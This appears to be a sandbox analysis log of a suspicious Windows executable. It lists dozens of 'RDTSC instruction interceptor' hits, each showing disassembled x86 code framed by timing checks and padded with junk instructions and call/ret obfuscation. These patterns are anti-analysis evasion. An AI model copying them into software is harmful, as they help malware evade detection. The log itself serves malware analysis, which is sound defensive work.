Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 940967 second address: 94098C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007F105534B229h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 940BE0 second address: 940BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F105527A08Bh 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 940D4C second address: 940D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 940D61 second address: 940D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 940EF4 second address: 940F1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F105534B235h 0x0000000c jne 00007F105534B216h 0x00000012 jmp 00007F105534B229h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942824 second address: 942832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105527A08Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942832 second address: 942836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9428C9 second address: 94290C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F105527A086h 0x00000009 jl 00007F105527A086h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 48667FF7h 0x00000019 movzx edx, bx 0x0000001c push 00000003h 0x0000001e mov esi, dword ptr [ebp+122D3DD9h] 0x00000024 push 00000000h 0x00000026 sub dl, 00000001h 0x00000029 push 00000003h 0x0000002b mov esi, dword ptr [ebp+122D33F5h] 0x00000031 push 60A7EFD9h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F105527A08Bh 0x0000003d rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 94290C second address: 942916 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105534B21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942916 second address: 94297E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 5F581027h 0x0000000d mov dword ptr [ebp+122D1F8Ch], ebx 0x00000013 call 00007F105527A092h 0x00000018 mov dword ptr [ebp+122D219Dh], ecx 0x0000001e pop edi 0x0000001f lea ebx, dword ptr [ebp+124576BFh] 0x00000025 jmp 00007F105527A094h 0x0000002a xchg eax, ebx 0x0000002b jmp 00007F105527A096h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push ecx 0x00000034 jbe 00007F105527A086h 0x0000003a pop ecx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942A07 second address: 942A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942A0C second address: 942A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F105527A097h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e sub dword ptr [ebp+122D1D93h], ecx 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D2BCAh], esi 0x0000001c call 00007F105527A089h 0x00000021 jl 00007F105527A08Eh 0x00000027 push eax 0x00000028 jne 00007F105527A092h 0x0000002e mov eax, dword ptr [esp+04h] 0x00000032 je 00007F105527A08Eh 0x00000038 jg 00007F105527A088h 0x0000003e pushad 0x0000003f popad 0x00000040 mov eax, dword ptr [eax] 0x00000042 pushad 0x00000043 jmp 00007F105527A099h 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942A95 second address: 942B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F105534B223h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov edx, dword ptr [ebp+122D3D91h] 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F105534B218h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov cl, 8Dh 0x0000003a movsx edi, bx 0x0000003d push 00000000h 0x0000003f mov esi, eax 0x00000041 jne 00007F105534B219h 0x00000047 push 00000003h 0x00000049 jmp 00007F105534B21Fh 0x0000004e push A3EB2500h 0x00000053 pushad 0x00000054 push edx 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push ebx 0x0000005b pop ebx 0x0000005c rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942B16 second address: 942B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942B1A second address: 942B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 1C14DB00h 0x0000000e mov ecx, 389B9086h 0x00000013 lea ebx, dword ptr [ebp+124576CAh] 0x00000019 mov ch, 50h 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 942B3B second address: 942B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 961F80 second address: 961FAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F105534B222h 0x0000000d jmp 00007F105534B221h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96225A second address: 962264 instructions: 0x00000000 rdtsc 0x00000002 je 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 962264 second address: 962291 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B21Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F105534B229h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 962291 second address: 962295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9623E0 second address: 9623E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9627BD second address: 9627C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9627C7 second address: 9627CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 962BB4 second address: 962BFB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F105527A092h 0x00000008 jo 00007F105527A086h 0x0000000e js 00007F105527A086h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007F105527A095h 0x0000001d jmp 00007F105527A098h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 962BFB second address: 962C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 963038 second address: 963041 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 963041 second address: 963049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 925436 second address: 92543F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 92543F second address: 925443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 963D49 second address: 963D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 963D4D second address: 963D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F105534B227h 0x0000000d jno 00007F105534B21Eh 0x00000013 pushad 0x00000014 jnc 00007F105534B216h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 92C0E6 second address: 92C132 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 jmp 00007F105527A08Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007F105527A098h 0x00000015 pop esi 0x00000016 ja 00007F105527A09Ah 0x0000001c rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96998C second address: 969990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 969990 second address: 969996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96FC4F second address: 96FC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96FDA8 second address: 96FDB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96FDB3 second address: 96FDB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96FDB7 second address: 96FDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F105527A097h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96FDDE second address: 96FDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 96FDE6 second address: 96FDEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 97005D second address: 970061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 972D41 second address: 972D47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9735A9 second address: 9735C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F105534B223h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9735C8 second address: 9735CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9736B8 second address: 9736BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 973981 second address: 973991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105527A08Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 974106 second address: 97410B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 974A0C second address: 974A75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a call 00007F105527A094h 0x0000000f mov edi, eax 0x00000011 pop esi 0x00000012 push 00000000h 0x00000014 or edi, 0A538123h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F105527A088h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 mov edi, dword ptr [ebp+122D3AD1h] 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jng 00007F105527A08Ch 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 974A75 second address: 974A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9748DD second address: 9748E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F105527A086h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9748E7 second address: 9748EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9748EB second address: 9748FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 975974 second address: 9759FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007F105534B216h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 js 00007F105534B21Ah 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F105534B218h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov edi, eax 0x00000039 push ecx 0x0000003a and edi, 64587DFDh 0x00000040 pop edi 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 pushad 0x00000045 mov eax, dword ptr [ebp+122D21AFh] 0x0000004b popad 0x0000004c pop esi 0x0000004d push 00000000h 0x0000004f jg 00007F105534B231h 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 jno 00007F105534B21Ch 0x0000005e rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9759FD second address: 975A2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F105527A095h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 976EC8 second address: 976F56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F105534B218h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007F105534B218h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f movsx edi, cx 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007F105534B218h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e mov edi, dword ptr [ebp+122D3D79h] 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F105534B220h 0x0000006c rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 97848E second address: 9784A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9784A4 second address: 9784C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B224h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 978FD9 second address: 978FEE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F105527A08Ch 0x00000008 ja 00007F105527A086h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 97ABE8 second address: 97ABEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 97CB15 second address: 97CB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 97CB19 second address: 97CB24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F105534B216h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 982137 second address: 9821A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A095h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2BADh], esi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F105527A088h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e sub dword ptr [ebp+122D2384h], edx 0x00000034 push 00000000h 0x00000036 pushad 0x00000037 mov ecx, dword ptr [ebp+122D2C0Bh] 0x0000003d sub dword ptr [ebp+122D1FA4h], esi 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F105527A08Dh 0x0000004c rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9830BB second address: 9830C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9830C0 second address: 9830C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9830C6 second address: 9830CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9840E8 second address: 984170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sbb edi, 0F1BDB91h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F105527A088h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F105527A088h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a js 00007F105527A088h 0x00000050 mov edi, ecx 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 jmp 00007F105527A08Fh 0x00000059 jg 00007F105527A088h 0x0000005f popad 0x00000060 push eax 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F105527A08Bh 0x00000069 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 984170 second address: 984174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 98506B second address: 98506F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 98506F second address: 985075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 985075 second address: 9850F9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F105527A086h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F105527A088h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov edi, 54FE4842h 0x0000002e mov edi, dword ptr [ebp+122D2BA3h] 0x00000034 push 00000000h 0x00000036 mov ebx, dword ptr [ebp+122D3401h] 0x0000003c mov dword ptr [ebp+122D2CAAh], edx 0x00000042 push 00000000h 0x00000044 jg 00007F105527A0A2h 0x0000004a jmp 00007F105527A090h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 jnl 00007F105527A086h 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9850F9 second address: 9850FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 9850FE second address: 985116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105527A094h 0x00000009 rdtsc
